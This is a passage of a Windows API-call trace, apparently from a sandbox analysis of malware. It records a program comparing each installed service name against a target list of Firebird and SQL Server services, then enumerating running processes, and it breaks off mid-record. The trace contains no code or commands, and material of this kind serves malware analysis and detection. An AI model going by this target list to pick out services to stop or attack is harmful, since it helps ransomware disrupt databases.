lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0245.297] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0245.297] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0245.297] lstrlenW (lpString="EventSystem") returned 11 [0245.297] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0245.297] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0245.297] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0245.297] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0245.297] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0245.297] lstrlenW (lpString="FontCache") returned 9 [0245.297] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0245.297] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0245.297] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0245.297] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0245.297] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0245.297] lstrlenW (lpString="gpsvc") returned 5 [0245.297] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0245.297] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0245.297] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0245.297] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0245.297] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0245.297] lstrlenW (lpString="iphlpsvc") returned 8 [0245.297] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0245.297] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0245.297] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0245.297] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0245.297] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0245.297] lstrlenW (lpString="KeyIso") returned 6 [0245.297] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0245.297] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0245.297] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0245.297] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0245.297] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0245.297] lstrlenW (lpString="LanmanServer") returned 12 [0245.297] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0245.297] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0245.297] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0245.297] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0245.297] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0245.297] lstrlenW (lpString="LanmanWorkstation") returned 17 [0245.297] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0245.297] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0245.297] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0245.297] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0245.297] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0245.297] lstrlenW (lpString="lfsvc") returned 5 [0245.297] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0245.298] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0245.298] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0245.298] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0245.298] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0245.298] lstrlenW (lpString="lmhosts") returned 7 [0245.298] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0245.298] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0245.298] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0245.298] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0245.298] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0245.298] lstrlenW (lpString="LSM") returned 3 [0245.298] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0245.298] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0245.298] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0245.298] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0245.298] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0245.298] lstrlenW (lpString="MpsSvc") returned 6 [0245.298] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0245.298] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0245.298] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0245.298] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0245.298] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0245.298] lstrlenW (lpString="NcbService") returned 10 [0245.298] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0245.298] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0245.298] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0245.298] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0245.298] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0245.298] lstrlenW (lpString="netprofm") returned 8 [0245.298] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0245.298] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0245.298] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0245.298] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0245.298] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0245.298] lstrlenW (lpString="NgcSvc") returned 6 [0245.298] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0245.298] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0245.298] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0245.298] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0245.298] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0245.298] lstrlenW (lpString="NlaSvc") returned 6 [0245.298] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0245.298] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0245.298] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0245.298] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0245.298] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0245.298] lstrlenW (lpString="nsi") returned 3 [0245.298] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0245.298] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0245.298] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0245.298] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0245.299] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0245.299] lstrlenW (lpString="PcaSvc") returned 6 [0245.299] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0245.299] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0245.299] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0245.299] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0245.299] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0245.299] lstrlenW (lpString="PlugPlay") returned 8 [0245.299] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0245.299] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0245.299] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0245.299] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0245.299] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0245.299] lstrlenW (lpString="Power") returned 5 [0245.299] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0245.299] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0245.299] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0245.299] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0245.299] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0245.299] lstrlenW (lpString="ProfSvc") returned 7 [0245.299] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0245.299] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0245.299] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0245.299] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0245.299] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0245.299] lstrlenW (lpString="RpcEptMapper") returned 12 [0245.299] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0245.299] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0245.299] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0245.299] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0245.299] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0245.299] lstrlenW (lpString="RpcSs") returned 5 [0245.299] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0245.299] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0245.299] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0245.299] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0245.299] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0245.299] lstrlenW (lpString="SamSs") returned 5 [0245.299] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0245.299] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0245.299] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0245.299] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0245.299] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0245.299] lstrlenW (lpString="Schedule") returned 8 [0245.299] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0245.299] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0245.299] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0245.299] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0245.299] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0245.299] lstrlenW (lpString="SecurityHealthService") returned 21 [0245.299] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0245.299] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0245.300] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0245.300] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0245.300] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0245.300] lstrlenW (lpString="SENS") returned 4 [0245.300] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0245.300] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0245.300] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0245.300] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0245.300] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0245.300] lstrlenW (lpString="ShellHWDetection") returned 16 [0245.300] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0245.300] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0245.300] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0245.300] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0245.300] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0245.300] lstrlenW (lpString="Spooler") returned 7 [0245.300] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0245.300] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0245.300] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0245.300] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0245.300] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0245.300] lstrlenW (lpString="StateRepository") returned 15 [0245.300] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0245.300] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0245.300] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0245.300] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0245.300] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0245.300] lstrlenW (lpString="SysMain") returned 7 [0245.300] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0245.300] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0245.300] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0245.300] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0245.300] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0245.300] lstrlenW (lpString="SystemEventsBroker") returned 18 [0245.300] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0245.300] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0245.300] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0245.300] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0245.300] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0245.300] lstrlenW (lpString="Themes") returned 6 [0245.300] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0245.300] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0245.300] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0245.300] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0245.300] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0245.300] lstrlenW (lpString="tiledatamodelsvc") returned 16 [0245.300] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0245.300] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0245.300] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1 [0245.300] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1 [0245.300] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="tiledatamodelsvc") returned -1 [0245.300] lstrlenW (lpString="TimeBrokerSvc") returned 13 [0245.301] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TimeBrokerSvc") returned -1 [0245.301] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TimeBrokerSvc") returned -1 [0245.301] lstrcmpiW (lpString1="sqlwriter", lpString2="TimeBrokerSvc") returned -1 [0245.301] lstrcmpiW (lpString1="mssqlserver", lpString2="TimeBrokerSvc") returned -1 [0245.301] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57ebf0 | out: hHeap=0x520000) returned 1 [0245.301] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x27c [0245.303] Process32FirstW (in: hSnapshot=0x27c, lppe=0x262fd2c | out: lppe=0x262fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0245.304] Process32NextW (in: hSnapshot=0x27c, lppe=0x262fd2c | out: lppe=0x262fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0245.304] lstrlenW (lpString="System") returned 6 [0245.304] Process32NextW (in: hSnapshot=0x27c, lppe=0x262fd2c | out: lppe=0x262fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0245.304] lstrlenW (lpString="smss.exe") returned 8 [0245.304] Process32NextW (in: hSnapshot=0x27c, lppe=0x262fd2c | out: lppe=0x262fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0245.305] lstrlenW (lpString="csrss.exe") returned 9 [0245.305] Process32NextW (in: hSnapshot=0x27c, lppe=0x262fd2c | out: lppe=0x262fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0245.305] lstrlenW (lpString="wininit.exe") returned 11 [0245.305] Process32NextW (in: hSnapshot=0x27c, lppe=0x262fd2c | out: lppe=0x262fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0245.305] lstrlenW (lpString="csrss.exe") returned 9 [0245.306] Process32NextW (in: hSnapshot=0x27c, lppe=0x262fd2c | out: lppe=0x262fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x224, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0245.306] lstrlenW (lpString="winlogon.exe") returned 12 [0245.306] Process32NextW (in: hSnapshot=0x27c, lppe=0x262fd2c | out: lppe=0x262fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x240, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1dc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0245.306] lstrlenW (lpString="services.exe") returned 12 [0245.306] Process32NextW (in: hSnapshot=0x27c, lppe=0x262fd2c | out: lppe=0x262fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1dc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0245.307] lstrlenW (lpString="lsass.exe") returned 9 [0245.307] Process32NextW (in: hSnapshot=0x27c, lppe=0x262fd2c | out: lppe=0x262fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x290, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0245.307] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0245.307] Process32NextW (in: hSnapshot=0x27c, lppe=0x262fd2c | out: lppe=0x262fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x224, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0245.307] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0245.307] Process32NextW (in: hSnapshot=0x27c, lppe=0x262fd2c | out: lppe=0x262fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0245.308] lstrlenW (lpString="svchost.exe") returned 11 [0245.308] Process32NextW (in: hSnapshot=0x27c, lppe=0x262fd2c | out: lppe=0x262fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0245.308] lstrlenW (lpString="svchost.exe") returned 11 [0245.308] Process32NextW (in: hSnapshot=0x27c, lppe=0x262fd2c | out: lppe=0x262fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x354, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x224, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0245.308] lstrlenW (lpString="dwm.exe") returned 7 [0245.308] Process32NextW (in: hSnapshot=0x27c, lppe=0x262fd2c | out: lppe=0x262fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0245.309] lstrlenW (lpString="svchost.exe") returned 11 [0245.309] Process32NextW (in: hSnapshot=0x27c, lppe=0x262fd2c | out: lppe=0x262fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0245.309] lstrlenW (lpString="svchost.exe") returned 11 [0245.309] Process32NextW (in: hSnapshot=0x27c, lppe=0x262fd2c | out: lppe=0x262fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0245.309] lstrlenW (lpString="svchost.exe") returned 11 [0245.309] Process32NextW (in: hSnapshot=0x27c, lppe=0x262fd2c | out: lppe=0x262fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x36, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0245.414] lstrlenW (lpString="svchost.exe") returned 11 [0245.414] Process32NextW (in: hSnapshot=0x27c, lppe=0x262fd2c | out: lppe=0x262fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x28c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x24, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0245.415] lstrlenW (lpString="svchost.exe") returned 11 [0245.415] Process32NextW (in: hSnapshot=0x27c, lppe=0x262fd2c | out: lppe=0x262fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x428, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0245.415] lstrlenW (lpString="svchost.exe") returned 11 [0245.415] Process32NextW (in: hSnapshot=0x27c, lppe=0x262fd2c | out: lppe=0x262fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x508, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0245.416] lstrlenW (lpString="svchost.exe") returned 11 [0245.416] Process32NextW (in: hSnapshot=0x27c, lppe=0x262fd2c | out: lppe=0x262fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x550, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0245.416] lstrlenW (lpString="svchost.exe") returned 11 [0245.416] Process32NextW (in: hSnapshot=0x27c, lppe=0x262fd2c | out: lppe=0x262fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0245.416] lstrlenW (lpString="svchost.exe") returned 11 [0245.416] Process32NextW (in: hSnapshot=0x27c, lppe=0x262fd2c | out: lppe=0x262fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x584, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0245.417] lstrlenW (lpString="svchost.exe") returned 11 [0245.417] Process32NextW (in: hSnapshot=0x27c, lppe=0x262fd2c | out: lppe=0x262fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0245.417] lstrlenW (lpString="spoolsv.exe") returned 11 [0245.417] Process32NextW (in: hSnapshot=0x27c, lppe=0x262fd2c | out: lppe=0x262fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x66c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0245.417] lstrlenW (lpString="svchost.exe") returned 11 [0245.418] Process32NextW (in: hSnapshot=0x27c, lppe=0x262fd2c | out: lppe=0x262fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x690, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x508, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0245.418] lstrlenW (lpString="audiodg.exe") returned 11 [0245.418] Process32NextW (in: hSnapshot=0x27c, lppe=0x262fd2c | out: lppe=0x262fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x240, pcPriClassBase=8, 